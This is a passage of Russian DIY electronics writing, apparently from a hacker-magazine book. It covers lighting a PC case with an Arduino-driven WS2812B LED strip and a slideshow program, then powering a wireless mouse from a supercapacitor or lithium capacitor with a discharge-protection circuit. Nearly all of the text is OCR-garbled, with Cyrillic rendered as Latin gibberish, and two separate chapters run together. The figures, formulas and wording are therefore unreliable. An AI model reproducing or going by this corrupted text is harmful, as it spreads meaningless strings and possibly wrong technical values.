CeeTonnoaHas JIeHTa B HalEM Kopnyce OyleT NoACBEYHBATh €ro HHXKHIOK 4acTb. 5] BbI-
Opan agpecHyto ceroanoaHyro neHty WS2812B co 144 cBeroanonaMu Ha METp M C Ha-
npsbkeHHeM nutanus S B.

Yro0bl ynpaBisTh ei, s UCONB30Bal KOHTposuiep Arduino Pro Mini, KoTopblit mpocT B
OpOrpaMMHpPOBAHHH H OCBOEHHH, K HEMY €CTh IOTOBble OMOIHOTEKH IS YMpaBieHHS
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CBETOOMOOHBIMHM JIEHTaMH. Takux OMOIHOTEK AOBOJIEHO MHOIO, HO S OCTaHOBHJICA Ha
FastLED (puc. 7.17).

Puc. 7.15. AgpecHas ceeTogmogHas nexta

/D Conectes to Rewrt Clmcit

FTOI Basic

Sor WpaiIng B rw (sncegated) woitoge Ty the bawd.

B 13 Ll

Puc. 7.16. Arduino



- Arduino u aenma
numaiomes om BIl

s 63Y
s 470 mk®

1000 mk®

Puc. 7.17. NMoaknioyeHne CBETOANOAHON NEHTbI

3arpyxaem TectoBylo npownBky FastLED B koHTposnnep M moamauBaeM JIEHTY HEMO-
CPENCTBEHHO K KOHTPOJIEPY M K BHYTpEHHeMY OJIOKY IMHTaHHs KOMIIBIOTEpA IO CXEMe.
U He 3a0bIBai, YTO KOHTPOJIEP M CBETOAHOMAHAS JIEHTAa MUTalOTCA oT 5 B.

BriienBaeM JIEHTy Ha BHYTPEHHIOW IDaHb aKpHJIOBOIO JIHCTa W BKJIKOYAEM IHTaHHE
(puc. 7.18).

Puc. 7.18. NexTa B KOPNyce

[nsa ynpaBneHHs BCTPOEHHBIM 3KPaHOM s pa3paboTan nmporpamMmy, KOTopas BHIBOOHT Ha
3kpaH ¢ororpaduu B pexxuMe cnaia-moy. [Tucan s ee Ha Delphi ¢ ucnons3oBaHuem cpe-
el paspabotku Embarcadero RAD Studio Delphi 10 Seattle. McxonHuku s octaBun B
¢arinax Moero npoekTta (puc. 7.19).

Wmn Aara n3meneHns Twun Pasmep

4 img 25.09.2020 15:06 Nanka ¢ paitnamm

@ Options 26.09.2020 14:02 Mapamerpoi kond... 1Kb
[. ProjectRoll 06.04.2019 19:17 fpunoxerne 11715 KB]

Puc. 7.19. ®annel npoekra
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IMpunuun paboTel nmporpamMMsl mpocT: Aobasisenb H300pakeHUs B MankKy img, a camy
NporpaMMy B Manky aBTo3arpy3kH. [IpH mocienyromux 3amyckax Thl YBHOMILB Ha JKpa-
He cnaia-woy. Taike B MporpaMMe peann3oBaHO KOHTEKCTHOE MEHI0, KOTOpOe AOCTYI-
HO M3 cHcTeMHOro Tpes. C ero nmoMoubo MOXHO NPHOCTAHOBUTD NOKA3 CIaHI0B, BKIIIO-
YHUTh IOKa3 CTATUYHOTO JIOTO HIIH MPOAOJDKHTH I0Ka3 ClaiIoB.

A cnenan Buaeo paboTel 3TOTO YCTPOICTBA M 3aJIMI €T0 Ha
YouTube:https://www.youtube.com/embed/C4hBy7aVKxo

BuiBoabl

VYerpoitctBO monyynnocs HeoObIYHOH ¢opmbl, ¢ moacBeTkod RGB, koTopyro kaxasli
MOXXET 3aIpOrpaMMHpOBaTh, KaK €My HpPaBHUTCS, U BCTPOEHHBIM 3kpaHoM. Ecnu 3axo-
Yellb TIOBTOPUTH UM YIYYIIHTh MOM MPOEKT, HCXOAHHUKH B TBOEM PacIoOpsKEHHH!

O Anpechas cBeronuonHas 1eHta RGB
(https://aliexpress.ru/item/1005001325878434.html?item_id=1005001325878434&
sku_id=12000025667703840& spm=a2g2w.productlist.0.0.4c13266eaQgDYYy)

bnok nutanus (https://aliexpress.ru/item/32623151735.html)

Kabens VGA (https://aliexpress.ru/item/32861072213.html)

Arduino Pro Mini (https://aliexpress.ru/item/32890204657.html)
Knonka Bkiatouenus (https://aliexpress.ru/item/32823502225.html)
QxpaH ¢ koHTponepom (https://aliexpress.ru/item/33013914908.html)

Bubnunorexa FastLED
(http://wikihandbk.com/wiki/Arduino:IIpumeps1/T"aiiq_no_ncnoab30BaHHIO
cBeToAHOAHONH _JsieHThI_WS2812B_c_Arduino#Kox)

O ®aiinel mpoekTa (https://cloud.mail.ru/public/3RT3/49FtQ3agp)

aaaaaao
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Kak npokayaTb Mbillb.

CtaBuM cynepkoHaeHcaTop

B 6ecnpoBOAHY MbIllb,
YTOObI 3apAXaTb ee 3a CeKyHAbl

AnekcaHdp bensbiti

IMpousBoauTeny KIaBHaTyp W MBIIIEH MpeanaraloT ThICAYH YCTPOHCTB Ha J11060H BKYC,
HO coOpaTh KOMIUIEKT C HY>KHBIMH XapaKTEPHCTHKaMH NO-NpexHeMy Hempocto. Bnpo-
4yeM, €CJIM Thl TOTOB B3iTh B PYKH NasJbHUK M TBOpYECKH N0paboTaTh 3aBOACKOH BapH-
aHT, To nepex To60i OTKPHIBAIOTCSA HOBbIE BOZMOXXHOCTH. CEroqHs Mbl ONBITHBIM NTyTEM
NPOBEPHM, €CTh JIH CMBICJI IEPEBOJUTH MBIIIb HA MMTAaHHE OT HOHHCTOpa BMECTO CTaH-
IapTHBIX OaTapeex.

CoBpemeHHas 6ecrnpoBOAHAas MBI — BeCchbMa ynoOHas wmryka. Emie ner necats Haszan
OHH MOCTOSIHHO pa3psiKaluCh, TEPSUIH CBA3b C KOMITBIOTEPOM U CTOMJIM HEMPHIHYHO J0-
poro (10 CpaBHEHHIO CO CBOMMH «XBOCTaThIMH» coOpatesamu). Ho Temepp maxke Takue
MBILLIH PACCTANUCh ¢ OOJIBIIMHCTBOM CBOHX NETCKUX Oosisyek. CeroaHs B Mpoaake MOX-
HO HaiTH ycTpoKcTBa ¢ Moayjem Bluetooth, koTopeIM He TpeOyeTcs OTOENbHBIH pagnuo-
MIPHEMHHK, KOMIIAKTHBIE MOIEJIH IJIs MOEe30K U 1axe OeCpOBOHBIE T€HMEPCKHE MBILLIH
C HU3KHUM BPEMEHEM OTKJIHKA.

U Bce ¢ HUMH Kak OyaQTO 3aMeYaTebHO, 33 HCKIIOYEHHEM OHOTO: HE3aBHCHMO OT TOTO,
IHUTAETCA JM TaKas MBIIKA OT 6aTapeek MM aKKyMYJATOpa, MX 3apsAi UMEET CBOWCTBO
nponaxaTth B caMblii Hemoaxonxsmui MoMmeHT. KoHeuHo, 6aTapeiik# MOXHO IOCTaBHTh
HOBBIE, @ aKKyMYJIATOPBI 3apAAHTH, HO NIEPBBIE HAO €Il HaWTH, a BTOpble TPEOYIOT Ha
N0A3apAaKy KaKOe-TO BpPEMS.

IIpuyeM, maxce eciid BBICTAaBUTh Ha MCTOYHHMKE NMHUTaHHA TOK Ha ypoBHe 2C-3C, uTO He
OYEHb XOpOLIO 11 3X0pOBbS aKKyMYJATOPOB H YBEIHYHMBAeT MX H3HOC, MHHYT 20-30
BCE e MpHUAETCs Momoxaartk. [I03TOMy s Ha Takoil ciydail Bcerma aepxky mo6Gau30CTH
3amacHoOM 3apskeHHbIH akkyMynaTop. Tebe ato 3Hakomo? :)

U BOT oaHaxapl MHE Ha rjia3a Momnajcs Jiexaldi 06e3 nena HOHUCTOp (OH XK€ CYNepKOH-
JEHCATOp), KOTOPBIH KOraa-to Obu1 mpHoOpeTeH 6e3 0co00i LEeNH U ¢ TEX MOpP TEPIETHBO
kIan cBoero yaca. Bompoc HampammBaics caM coboit M ObUT OTHIOAb HE MPa3IHBIM:
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a JOJIro JIM MPOTSHET C HUM MBILlb, TIPH YCJIOBHH, YTO CPEIHHH TOK moTpebiieHus y Hee
Ha ypoBHe 5 MA (npu HanpsbkeHuH 3 B)? 3aberas Bnepen: noiro M Jaxe O4eHb JOJTO.
Ho Tonbko npH 00s3aTeIbHOM YCIOBHH, YTO HOHHCTOp OyaeT noaobpaH NpaBUIIbHO.

BrnipouemM, 0060 BceM 10 MOpsAIKY.

BecnpoBogHble MbILKA CO BCTPOEHHbLIM CYNepKOHAEHCATOPOM CEroAHs YXe MOXHO BCTpe-
TUTb B NpoAaxe B acCOpTUMEHTE U3BeCTHbIx bpeHaoB. Ha doHe pelueHuit ¢ nuTaHwem ot
6aTapeek Unn akKyMynaTopoB OHU NO-NPEXHeMy COCTaBNAT ucyesarole Manyto Aono, a
BbICOKas LeHa NPOYHO AEPXUT UX B HULLEBOW KaTeropum «Ans 3HTy3uactoB». Xenawowme
MoryT nouutatb 0630pbl Ha Takue ycTpoictBa, kak Genius DX-ECO (https://
3dnews.ru/619371), Mad Catz Air (https://3dnews.ru/995410) n Razer Mamba Hyperflux
(https:/fwww.razer.ru/product/mouses/razer-mamba-firefly-hyperflux-bundie).

Teopus

Hrak, uro xe npencrasnseT coboi nonuctop (https://ru.wikipedia.org/wiki/Monucrop)?
Ilo cBOMM XapakTepHCTHKaM OH OueHb Noxox Ha koHzeHcarop (https:/ru.wikipedia.org/
wiki/KoHnaeHcaTop_(3.,1eKTPOHHbIH_KOMIIOHEHT)), 32 HCKIIUYEHHEM OJHOH Ba)XHOH
JETaJIi: Yy HOHUCTOPOB MPOCTO YyJOBHILHO 60/bLIas EMKOCTh, OT HECKOJIBKHX €IHHHIL 10
ThIcAY ¢apan. Bce neno B TOM, YTO HOHHCTOP 3amacaeT SHEpryio B IBOMHHOM 3JIEKTpHYe-
ckoM cnoe (https://en.wikipedia.org/wiki/Double_layer_(surface_science)), BO3HH-
KalolleM Ha MOBEPXHOCTH JJIEKTPOAOB, MOTPYKEHHBIX B NNEKTPOIHUT. B pesynbrare au-
3JIEKTPHKOM CIIy’)KHT MOHOCJIOH MOJIeKyl pacTBopHtens. Kak cienctue, ero ToiluHa
MOXET COCTaBNATh mnopsaka eauHul anrcrpem (https://ru.wikipedia.org/wiki/
AHrcTpeM), a 3TO YEPTOBCKH Majlble BETHYHHEI.

Ecau Thl XOTh HEMHOTO NMOMHHIUB IUKOJIbHBIE YPOKH (1)H3PIKPI, €MKOCTb KOHACHCATOpa
NpsAMO NPONOpHHOHAJIBHA IJIOIAAH €ro 00KIIaqoK U 06paTHO MpornopiHoHalbHa pac-
CTOAHHIO MEXIY HHMH. Takum 06p830M, 3a CYET NPHMEHECHHSA B HOHHUCTOpAX IMOPHCTHIX
MaT€pHajoB (OGBI‘IHO — aKTPIBPIpOBaHHBIﬁ yFOJ'Ib) Iiomanab MOBEPXHOCTH BO3pACTACT
MHOTOKpPaTHO. 310 H HO3BOﬁﬂCT CYNE€PKOHACHCATOPAaM 3allacaThb brpOMHble 3HA4YCHHUA
OHEPrHH. Kpome TOro, y HUX, KakK IIpaBHJI0, HU3KHE€ TOKH YTC€YKH, YTO IOMOI'a€T ACPXKaTh
3apsAd 3HAYUTEIIbHOE BpEMH.

Pa3yMee’rca, Y HOHHCTOPOB €CTb U HEAOCTATKH. B NEPBYIO O4YEPENb 3TO BBICOKAA II€HA,
OTHOCHTEJIBHO HH3KO€ paﬁoqee HalpsXECHUE (nopsmxa HECKOJIBKHX BOJIBT Ha ﬂ‘{ef/'le) H
CYLIECTBEHHO MEHbIlAasA IUIOTHOCTb 3HEPrHH B CPABHEHHH C aKKYMYJIATOpPaMH. Tak yto
Ha poOJIb HACAJIbHOI0 HCTOYHHKA MMUTAaHHUSA Ha BCE ClIy4aH )XHU3HHU OHH, YBbI, HEC IOAXOAAT.

BrpoueM, HEKOTOPBIE YXHUIIPEHHS MO3BOJIAIOT BCE )K€ YACTHYHO CIPAaBHTHCA C IEPEYHUC-
JIEHHBIMH HeJocTaTKkaMH. Hanpumep, NpH JIerHpOBaHUH aHOAA JIUTHEM YJAaeTcs MOJHATh
pabouee HampsbkeHue no 3,8 B. Takue KOMHOHEHTHI OOBIYHO HA3BIBAIOT JIMTHEBBIMU
koHaeHcartopamu (https://en.wikipedia.org/wiki/Lithium-ion_capacitor) u orHocaT k
rubpuaHoMy kiaaccy. OHH HMEIOT HECKOJIBKO KIIIOUEBBIX OCOOEHHOCTEH, NPUATHBIX H HE
oueHb. Bo-nepBbIX, y JUTHEBBIX KOHAEHCATOPOB CYIIECTBEHHO MEHBIIHH caMopaspsn
Jaxke Ha ¢poHe KJIACCHYECKHX HOHUCTOPOB (HE roBops yke 00 0ObIYHBIX KOHIEHCATOPAX).
Bo-BTOphIX, OHM KpaHHe 4yBCTBHUTENbHBI K Nepepa3psny. Kak mnpaBuio, B omnucaHHH
NPOM3BOAMTEIN NPEAYNPEXKIAET, YTO pa3psAl JUTHEBOro KOHAeHcaTopa HHxe 2,2 B npu-
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BOIHUT K A€rpajalliy aHOda, NOTEPE EMKOCTH U CHHXXCHHUIO BHYTPEHHETO COINIPOTUBJICHUSA
KOMIIOHCHTA.

CpaBHeHue

Tenepb naBall CpaBHUM HECKOJBKO HMCTOYHHUKOB NHTaHMSA, YTOOBI NMPHUMEPHO OLIEHHUTHh
NepCneKTUBHOCTh Beel 3aTed. OObIYHAss KOMIMbIOTEPHAs MBI, TOMUMO OaTapeek, Mo-
XKET MUTaThcs M OT nepesapskaeMoro NiMH-akkymynsaropa ¢opmara AA. MMeHHO c
HUM MBI U Oynem cpaBHMBaTh 006a HOHHCTOpPa — 60MbLIOH, pa3MepaMH NpHUMeEpHO ¢ 6a-
Tapeiiky D M 3asBleHHBIMHM XapakTepucTHkamu Ha ypoBHe 500 ®@ u 2,7 B, a takxe ma-
JIeHbKHUH NHUTHEBBIH, eMKOCThiO Ha 100 @ u HanpsixenueM 3,8 B. Cam NiMH-akkymy-
JIATOp CTaHAApTHOro HanpsbkeHus 1,4 B u cpeaneit eMkoctH, paccuutad Ha 1500 MA - 4.

BaxHbIii MOMEHT: CpaBHMBaTh HX Mexay coboi B 1006 He MOnyduTcs, Tak Kak paspsn
aKKyMmyJsTopa omnuceiBaeTcs ypaBHeHneM Hephcra (https://en.wikipedia.org/wiki/
Nernst_equation). CoO6cTBEHHO, 3TUM ypaBHEHHEM ONHMCBHIBAIOTCA BCE XMMHUYECKHE HC-
TOYHHKH nuTaHus. Kak cnencrsue, rpaduk paspsna akkyMyJnsTopa UMEeET IJ1aTo 10 LEeH-
TPy M pPe3KHi crlajl B KOHIIE, a €0 €eMKOCTb U3MEPSAETCS B aMIlep-4acax U pacCUUTHIBAET-
Cs1 KaK IJIoIuaab NoA miato Ha rpaguke. KonaeHcarop, B CBOIO o4epesib, pa3pskaeTcs Mo
9KCTMIOHEHTE (IpH YCJIOBHH, YTO CONPOTHBIIEHHE HArpy3kH NOCTOSHHO), U €ro €MKOCThb
n3mepsercs B papanax.

Bnpoqu, BBIXOJ €CTh: NPUACTCA CPABHHUBATH 3alIaCEHHYK 3HCPIHIO B KOYJIAX. I/ITaK,
11 KOHOEHCATOpa (H.IIH HOHHCTOpa)Z

E=(CxU%=+2,
3necy C — emkocTh B ¢apanax, a U — HanpsbkeHue B BOJbTax. [ist akKyMynsTopa:
E=3600x Q x U.

3nece Q — eMmkocTh B ammep-yacax, a U — cpenHee HanpsbkeHue. Jns NiMH-
aKKyMYJIATOpa HanpsKeHHE Ha MOJHOCTBIO 3apsHKEHHOM 3JIEMEHTE COCTaBIISET NMpPUMEp-
HO 1,4 B, a nns pa3psokeHHoro — okouo 0,9 B. OnHako, Tak Kak nmageHHe HanpsHKeHHs
IIpH pa3psike HeJIMHEHHOo, BO3bMeM cpefHee Ha ypoBHe 1,1 B (Bce paBHO 3T0 npnbnusu-
TENbHBIE PACUETHI).

Teneps y Hac nony4aroTcs Takue 3HaueHus: 5940 [Ix nns akkyMynstopa, 1822 Ik nns
6onbuoro nonuctopa u 722 JIxk nyis MaleHbKoOro. BeIrnsaut Hemnoxo, ocO6eHHO y4H-
TBIBas, YTO TMOCJIEIHUI MO pa3Mepy NMPUMEPHO Kak akKyMynsaTop. Ho TyT ecTe oaMH HiO-
aHC: €CJIM B CJIy4ae aKKyMYJIATOpa 3TO Ta 3HEPrusi, KOTOPYIO MBI H3 HETO CMOXEM B3STh,
TO C HOHUCTOpPaMH YyTh XUTpEE.

Kak s y>xe ynoMuHall, JUTHEBBIH HOHUCTOD HeJIb3s pa3pskaTh Hike 2,2 B (3aberas Bre-
pel, CKaXxy, 4TO MBI TaKke He OyaeM 3apspkaTh ero Boiwe 3,3 B). OTo maeT HaMm B UTOTe
302 Ik Ha oguH uukia. C GONBIIMM HOHHUCTOPOM Jpyras IITyKa — OH IUIOXO IEPXKHT
3apsn Bolie 2,2 B, ocob6eHHo npu ObICTpOM 3apsifie, Ha KOTOPBIH MbI LenUMcs. Pa3psaauts
ero ¢ nons3oit Hiwke 0,5 B Toxe He BblimeT (M3-32 YUCTO TEXHHUYECKUX OrpaHUYEHHH).
BrpoueM, nocneHee He BHOCHT 3aMETHOM MOTEPH, TaK YTO 3[1€Ch Mbl UMeeM 0koJ10 542 [Ix.
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TyT YK€ HEIJIOXO BHAHO NMPEUMYILUECTBO JIMTHEBOIrO KOHACHCATOPA. Bce xe cTout Y4H-
ThIBATh, YTO OH IO pa3M€py pa3 B CEMb MEHBLIE CBOETO aHAJIOra. Bnpoqu, Ha MOH BKYC,
NMpEUMYLIECTBO HE HACTOJIBKO BEIIHKO, KaK €Tr0 ONMMHCBIBAKOT B PEKJIAMHBIX CTATbAX. U ue
CTOHUT 3a0bIBaTh O pa3HHUE B UEHE — TAKHE€ HOHHCTOPBI JOCTATOYHO AOPOTHE.

C yueToM Bcex 3aMe4yaHHH B UTOre Mojy4yaeM Takue 3HaueHHs: Te e 5940 [k mnsa ak-
KyMyJnsiTopa, npuMepHo 542 [Ix B 6onbuioM uoHuctope Ha 500 @ u 302 [Ix B ero
mnaaueM coopare Ha 100 @. Yxke He TaK ONTUMHUCTHYHO. XOPOLIO, 8 Ha CKOJBKO 3TOT0
XBaTHT KOMIBIOTEPHOH MbIILIN?

CoBpeMeHHas Hegoporas 6ecrnpoBoIHas MbIlIb MOTPEOIAET MPUMEPHO 4 MA B aKTUBHOM
PEXHME U 3HAYUTENILHO MEHbLIE B PeXHUME OXHIaHHUA. {11 mpocToThl OydeM CUMTaTh,
YTO IpBI3YH y HAC BCEraa B aKTUBHOM COCTOSIHMUM U HamnpshkeHHe MUTaHUs y Hero 3 B.
310 naet Ham 43 JIx/u.

Takum o6pa3om, B nepBoM NPHOIHKEHHH OT OONBIIOr0 HOHHCTOPA MBbILIb JOKHA MpO-
paboTaTh ABEHaOUaTh 4acoB, a OT MaJIEHbBKOTO Mopsaka ceMH 4acoB. KoHeuHo, 3TH pac-
4eThbl JIMIIb NPHONH3UTENbHbIE, HO OHH MO3BOJAIOT OLEHHUTH OOLIYI0 NEPCNEKTHBHOCTD
uneu. U Ha camoMm Jene oHa BeCcbMa HEMoXa, eClIH y4YecTb, 4TO 60MNbLIOH CynepKOHIeH-
CaTop MOXHO 3apAIMTh CEKYH[ 3a TPUALATH, @ MaJeHbKHI U Toro 6nicTpee. Takum obpa-
30M, B TEOPHH Halll MAaHUMYJIATOP CMOXET 3aMacTH JOCTaTOYHO HEPrHH Ha Bech pabo-
4YHH JeHb BCETo JIMIIB 3a BpeMs 3arpy3ku OC.

JINTUEBBLIE KOHQEHCATOPBbI

Takve koHAEHcATOpbl CTOAT CUMbHO [OPOXEe AaXe KNacCUYeCKUX WOHWUCTOPOB, U NpoaaloT
UX 3apskeHHbIMU. [1o3TOMy, ecnu Hagymaelwsb packowenutbes, obpaTn BHUMaHue, 4TobbI
HanpsbkeHve Ha HeMm Obino Boiwe 2,2 B, a cam koHaeHcaTop o6s3atenbHo 6bin He B3y Thin.
3pecb 8 xo4y nobnarogapute Faberge (https://xakep.ru/author/faberge/), koTopbii npe-
poctasun nutuesbln koHaeHcatop VLCRS3R8107MG (https://static.chipdip.ruliib/151/
DOC004151424.pdf) Ha 100 ® ans Moero npoekTa.

C 3Tum koHaeHcaTopoM Gbina uenas ncropus. Ero 3akasanv B 04HOM WM3BECTHOM mara3u-
He, NpYYeM U3BECTHOM He B NOCNeAHIo o4Yepeab CBOMMM BbICOKMMU LeHaMu. MepBbi xe
KOHAEHCcaTop, KOTOPLIA OTTyAa nNpucnany, okasasncs B3gyTbiM U pa3pshkeHHbiM. Bnpoyem, B
OTBET Ha MPETEH3WI0 Mara3vH onepaTMBHO M 6e3 NUWHWX BO3paXeHWA BbiCNan 3ameHy.
A MHe Takum 06pa3om yaanock cpasHUTL Mexay cobon GpakoBaHHbIA 1 pabouunii 3k3emMnNapbI.

BbIfiCHUNOCB, YTO B3AYTHIN PA3psKEHHbIA KOHAEHCATOP CUMBbHO NOTEPSN B KA4YecTBe U no ca-
Mopaspsay cTan HanomuHaTb knaccuyeckue noHuctopsl (PDF (https://lwww.masters.com.pl/
files/ds/samwha/samwha-green-cap.pdf)), kotopble nerko 3akas3atb B Kutae. Ocobbix
HIDAHCOB TYT HET, pa3Be 4YTO KA4ecTBO pa3 Ha pa3 He npuxoauTcs. Bnpoyem, HecKonbko
UMKNOB 3apsAA-pa3psa U ANUTENbHbIA 3apsaa MayT UM Ha NOMba3y.

AHaTOMMA rpbI3yHOB

Kak npaBuio, B OCHOBE THIIMYHOH GECIIPOBOJHON MBILIM JIEKHUT ClELHaNTH3HPOBaHHASA
MHKpOCXeMa, koTopas cama 1o cebe pearusyer 99% bynkuuit ycrpoiicta. B Hee Bxoasar
U CaM CEHCOp, U CXEMbI YNPaBJIEHHS MMOACBETKOH, 1 MOAYJIb 0OpabOTKH CHrHala OT CEH-
copa, M Jaxe paxdonepenatyuk. Ha Takue KOHTposiepbl OTKPOBEHHO KHTAHCKOro IIHp-
notpeba ObIBaeT MpoOIeMaTHYHO HAWTH JATAlIUT, HO HAC B JAHHOM Cl1y4Yae HHTEPECYEeT
TOJILKO ITUTaHHE.
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K nameii 6onbuioi pagocTH, KOHTPOJUIEPH MeXAYy cO0O0i IOJHOCTHIO COBMECTHMEBI H
TpeOyroT HampsbkeHHe B quanaszone ot 2,1 no 3,6 B. B moarBep)kaeHHe 3THX CIOB ThI
Moxels 3arasHyTs B gatammt PAW3702 (PDF (https://www.epsglobal.com/Media-
Library/EPSGlobal/Products/files/pixart/PAW3702DL-TXNT.pdf?ext=.pdf)), Ha
KOTOpO# coOpaHa caMasl IpHJIMYHAsA U3 pacKypO4YEHHBIX MHOH MBIILEH.
CxemoTexHuka yCTpOVICTB KNaccom W LieHOW NOBbILWE MOXET 3aMeTHO OTMnYaTbCS. B Hux
Hepeako npumMmeHseTca oTAenbHbIN MUKPOKOHTpONnep, KOTOprIZ no3sondeT ynpaBnsATb Ky-

yen napameTpos, 3arpyxaTtb HaCTpOﬁKM HenocpeaACTBeHHO B Mbillb M CO3aaBaTb LEeNOYKU
N3 MakKpocoB Ha BCe Criy4au XWU3Hu.

OOBIKHOBEHHO MBILLIH THTAIOTCSA OT OOHOHM MM ABYX Oatapeek AA (mmn AAA). 3to mpu-
BOIUT Hac K OYEBHAHOMY BBIBOAY: e€ciH OaTapelku ABe, TO OHH MOJKIIOYAIOTCA K KOH-
TpoJIepy HanpsMylo (cTabHiIM3aToOp HE CTaBsAT B TOM YHCIE U3 COOOpaKeHHH SKOHO-
MHH), a ecnu Oarapeilika OIHA, TO MEXOy HEHl M KOHTPOJUIEPOM YCTaHOBJIEH Step-up
DC/DC-npeobpa3oBateinb, Bpo4e TOro, KOTOPBIH s MCHOJIb30Bal B 3MYJIATOPE MBILIH
(https://xakep.ru/2020/06/25/diy-badusb/), — ME2108 (http://archive.espec.ws/files/
ME2108%20Series.pdf). Haiiti ero Ha ruiate COBCEM HECJIOKHO, Yalle BCEro 3TO TpeX-
Janasi MUKpOCXeMa PSAIOM C JPOCCETIEM.

A 4T0 B 3TOM citydae Oyzaem nenath MbI? A Mbl OyzneM aenath Tak xe! :)

3aopoBoe nuTaHue

HHbIMHU crioBaMH, €CITM y Hac B MbIIIa HMIUTAHTHPYETCS JINTHEBBIH HOHHCTOP, TO ero Oy-
JEM IOAKIII0OYATh HANPSAMYIO K KOHTpoJuiepy. [Ipy 3TOM ynansem NoBBILIAOIKI Tpeod-
pa3oBarenb, OTIaMBass MHKPOCXEMY M JIpOCCENb M COEOUHASA MEPEMBIYKOH MHTaHHE C
KoHTpoJutepoM. OH Kak pa3 JacT HaM JHara3oH HalpsHKEHHH Kak B IaTalIHTE.

A xoraa HCIoyb3yeTcsi HOHUCTOP MOIPOIE C MaKCHMANbHBIM HanpsbkeHueM 2,7 B, to
€ro BBIXOA MbI OyIEeM MOBBIIATH C HOMOLIBIO YIOMSHYTOTO BBILIE IpeoOpa3oBaTens.
Ecnu e OH B MBI H3HAYAIBHO OTCYTCTBOBA, TO €ro NpuaeTcs Tyaa nobaButs. biaro
OHH COCTOAT OYKBAaJIbHO W3 HECKOJBKHUX NeTaliell M Jake MPOIArOTCS B BHUIE T'OTOBBIX
MojyJieH 3a cyuue kornelku. Bpoae Ol BCE... XOTS HET, CTOUT €llle TOTOBOPHUTH O 3alllH-
T€ OT repepaspsia.

Ha Bcsakuii cnyyail euie pa3 MOBTOPIO, YTO JIMTHEBBIE HOHUCTOPBI HE PEKOMEHAYETCS pas-
psxath Hike 2,2 B. Jla, ThI 3TO HaBEpHAKA y>Ke 3aIOMHMJI, HO, TOBEPb, 3TH LUTYKH CTOSAT
HeJZlelleBo, U o0pallaThCsi C HUMH ceqyeT akKypaTHo. [loaToMmy Ham Oyner Heo6XxoaIuMo
YCTPOHCTBO, KOTOPOE CMOXET OTKJIIOYAaTh HAarpy3Ky OT HOHHCTOpa IPH JOCTHXXEHHH I10-
poroBoro 3HauyeHus. [logoOHbIe yCTPOHCTBA IIMPOKO MPUMEHAIOTCS IJIs 3alMTHI JIHTHE-
BBIX aKKyMYJIATOPOB OT IepepaspsAa, OTJIMYHE Hallero BapHaHTa COCTOMT B MEHBILIEM
HanpspbkeHHH cpabaTpiBanus. Cxema ycTpoiicTBa IIpecTaBlieHa Ha pHCYHKe Hibke (pHc. 8.1).

B nemoM Bce 31ech meMeHTapHO, M MOSICHEHHS TYT TpeOyeT pa3Be YTo KHOIIKa, KOTopast
HY>KHa JUIS BKJIIOYEHHs ycTpoicTBa. JIoCTaTOYHO ee OAMH pa3 HaxaTh, U MBIILb OyneTr
paboTath 10 Tex mop, NOKa HanpsHKEeHHE Ha MOHHCTOpE He ymaneT Huxke 2,2-2,3 B, uyto
3a4acTyl0 MPOMCXOOUT CKaykooOpa3HO. 3Ha4yeHHE I[IOPOrOBOTO HANpPSDKEHHSA 3aJaeTcs
CBETOOHOIOM M pe3uctopamu R2 u R3.
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Puc. 8.1. Cxema 3awuTbl MOHUCTOPa OT Nepepaspsaa

CBeTOOMOA TYT BBINOJIHAET ONHOBPEMEHHO QYHKLHIO cTaOHIHTPOHA (KpacHBIH CBETOAH-
on paet okosio 1,7 B nageHus HampspkeHUs) U HHOUKATOpa BKIKOYEHHS, HO CBETHUTCS OH
He 60apo. To4yHO moacTpaWBaTh HampspkeHHE cpabarbiBaHUs ynoOHO, MEHSSI HOMHHAN
R2. B kauectBe K/t04a HUCHONB30BaH 10 6e306pa3us neweswli moneBuk AO3400, yro
IIOMOTaeT CBECTH MaJeHHE HampsHKEHHUS Ha YCTPOHCTBE MpakTHYeCKH K Hymo. OmHako
corzaer 1 moboi apyroit N-kaHanbHbIHA OJEBUK, CIOCOOHBIN OTKPBITBCA OT HANPSXKEHHUA
nopszaka 2 B. bunonspHblit TpaH3uCTOp MOXET ObITH 1100bIM, X0Th KT361.

Bo BKJIIOYEHHOM COCTOSIHUM yCTpOHCTBO moTpebiser MeHblne 100 MKA, a B BBIKJITIOYEH-
HOM MoTpebieHne U BOBCE MPEeHEOPex MO Mao.

Kopnyc n KOHCTpyKTUB

ITpuctynum kK cOOpKe rOTOBOro YCTPOHCTBA. A ISl 9TOrO HaM MOTpedyeTcss JOHOP.

HyneBou naumeHT

IlepBoii MHE moA pyKy Momanack 3ae3kKeHHas MU MHOrO IOBHUIABIIAs HA CBOEM BEKY
Mbilb Perfeo PF-353-WOP. Ha Heii s u onpo60Baji uaew, BCTPOUB B 3TY MBI CaMbIH
60mb110H HOHUCTOP. A A TOrO YTOOBI MONMHOCTHIO UCIOIL30BATh 3apsi, 1 IOMECTHI B
Hee noBblmaui Moayas Ha ME2108-33. Moayns B3s1 B 3TOT pa3 roroslid. OnHa He-
3ajaya — HOHHUCTOp 6bL1 BenukoBar (puc. 8.2). Bnpouem, ¢ atoi npobieMoit MHe oT4ac-
TH MIOMOT J1003HK (pHc. 8.3).

Moayne noBslarolero npeobpasosarens 310pOBO BCTajl HA MECTO pa3beMa MOIKII0Ye-
HHs GaTapeHky.

Kak nerko moHsats U3 gororpaduii, HOHUCTOpP 3aMeHUN cOO0H KYMUPOBaHHYIO 3aJHIOKD
4acTh W KPEIMUJICS MpH MOMOILHU cynepkiies. [IockonbKy caM KOpITyC MBIIIM s [TOIIMTHIH-
BaJl CHOBa M CHOBA, TO MOJYYHIIOCH HEMIOXO MOJOTHATD €ro, U IEPXXUTCS OH HOPMAJIBHO.
OO6patn BHHMaHHe, 4TO, HECMOTpPSA Ha BYJbrapHYI0 MPOCTOTY KOHCTPYKLHMH COBpPEMEH-
HBIX JEIIEBBIX MBIIEH, ONTHYECKUH y3en (JIMH3a, AMOX U JATYHK) JODKHBI OBITh JOCTa-
TOYHO TOYHO CIO3UIHOHHUPOBaHbI. MHaue pe3Bo OeraTh, Kak Mpexie, MbIIb yXe He Oy-
net (puc. 8.4).
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Puc. 8.4. Mpui3yH B cbope

3apsiaka ToXe CypoBa: K BbIBOJAM MOHHCTOPA s LEMJISA0 BOJIBTMETP U, KOHTPOIHPYS Ha-
npsbkeHue, nojaw 3,3 B ot komnberoTepHoro 6;10ka NUTaHUS ¢ HOMOLIBI «KPOKOIHIIOBY.
3apsAHBIA TOK NIpPH 3TOM cocTaBiseT nopsaka 6 A. Uro eue MOXHO O HeH cka3arh?
